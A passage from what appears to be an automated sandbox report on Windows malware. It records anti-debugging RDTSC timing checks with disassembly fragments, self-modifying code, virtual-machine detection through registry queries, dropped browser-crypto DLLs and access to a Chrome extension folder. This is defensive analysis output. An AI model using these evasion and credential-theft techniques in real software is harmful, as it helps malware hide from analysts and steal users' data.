Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D04CFD second address: D04D03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D04D03 second address: D04D09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D04D09 second address: D04D13 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F95994487ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: CF8BCF second address: CF8BD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D05563 second address: D0556E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D05B55 second address: D05B8A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9598E72AC6h 0x00000008 jmp 00007F9598E72AD3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9598E72AD4h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D05B8A second address: D05B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D05B8E second address: D05B92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D0A115 second address: D0A11A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D0AF6F second address: D0AF73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D0C8E5 second address: D0C8F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D0C8F3 second address: D0C8FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F9598E72AC6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D11203 second address: D11207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D11207 second address: D11210 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D11210 second address: D1121E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D1121E second address: D11222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D11222 second address: D11228 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D11228 second address: D11247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9598E72AD9h 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D11247 second address: D11253 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F95994487A6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D11968 second address: D11993 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9598E72AC6h 0x00000008 jnc 00007F9598E72AC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007F9598E72AD8h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D11993 second address: D11999 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D11ADC second address: D11AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9598E72ACBh 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D13D73 second address: D13D7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D13D7A second address: D13D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D13D87 second address: D13D9B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F95994487A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D13D9B second address: D13DA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D13DA2 second address: D13DC0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jp 00007F95994487A6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 jmp 00007F95994487ACh 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D142A2 second address: D142C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007F9598E72AD3h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D14B9B second address: D14B9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D14B9F second address: D14BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D14C86 second address: D14CA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95994487ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jnl 00007F95994487A6h 0x00000013 push esi 0x00000014 pop esi 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D14CA4 second address: D14CA9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D1561D second address: D1563E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F95994487B5h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D180CC second address: D180D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D18705 second address: D18709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D191B2 second address: D191CC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9598E72AD1h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D19C68 second address: D19C6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D1A72D second address: D1A731 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D1BC6D second address: D1BC77 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F95994487A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D1D745 second address: D1D74C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D1E6A8 second address: D1E6AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D1F65C second address: D1F660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D1F660 second address: D1F669 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D1F669 second address: D1F66F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	RDTSC instruction interceptor: First address: D1F66F second address: D1F6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F95994487A8h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 mov dword ptr [ebp+122D2A4Ch], eax 0x00000027 push 00000000h 0x00000029 or dword ptr [ebp+122D3560h], eax 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007F95994487A8h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 00000015h 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b jmp 00007F95994487ACh 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 jbe 00007F95994487A8h 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7FF7C5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7FF8AA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A3BBF3 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Special instruction interceptor: First address: B5E96C instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Special instruction interceptor: First address: D1281D instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Special instruction interceptor: First address: D96F64 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 46E96C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 62281D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6A6F64 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsHCAEHJJKFC.exe

Code function: 21_2_04C7075E rdtsc

21_2_04C7075E

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2326
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1883

Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-FSOGC.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-6E60U.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1008024001\76ce55fba7.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\is-1VUQP.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\DelightfulCard.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-6E60U.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\is-4PJR3.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-FSOGC.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7920	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7896	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7900	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 8024	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7916	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7916	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7924	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7908	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7912	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7904	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8472	Thread sleep count: 88 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8472	Thread sleep time: -2640000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8472	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7868	Thread sleep count: 2326 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7868	Thread sleep count: 1883 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9176	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsHCAEHJJKFC.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE4EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6CE4EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V qkvfpirakkyfaap Bus
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: regsvr32.exe, 00000024.00000003.2586644486.0000000002465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flush
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration Service
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: regsvr32.exe, 00000024.00000002.2619587036.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2600749832.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000024.00000003.2596085799.00000000031E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Virtual Processor](
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: regsvr32.exe, 00000024.00000003.2577015415.0000000000A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain 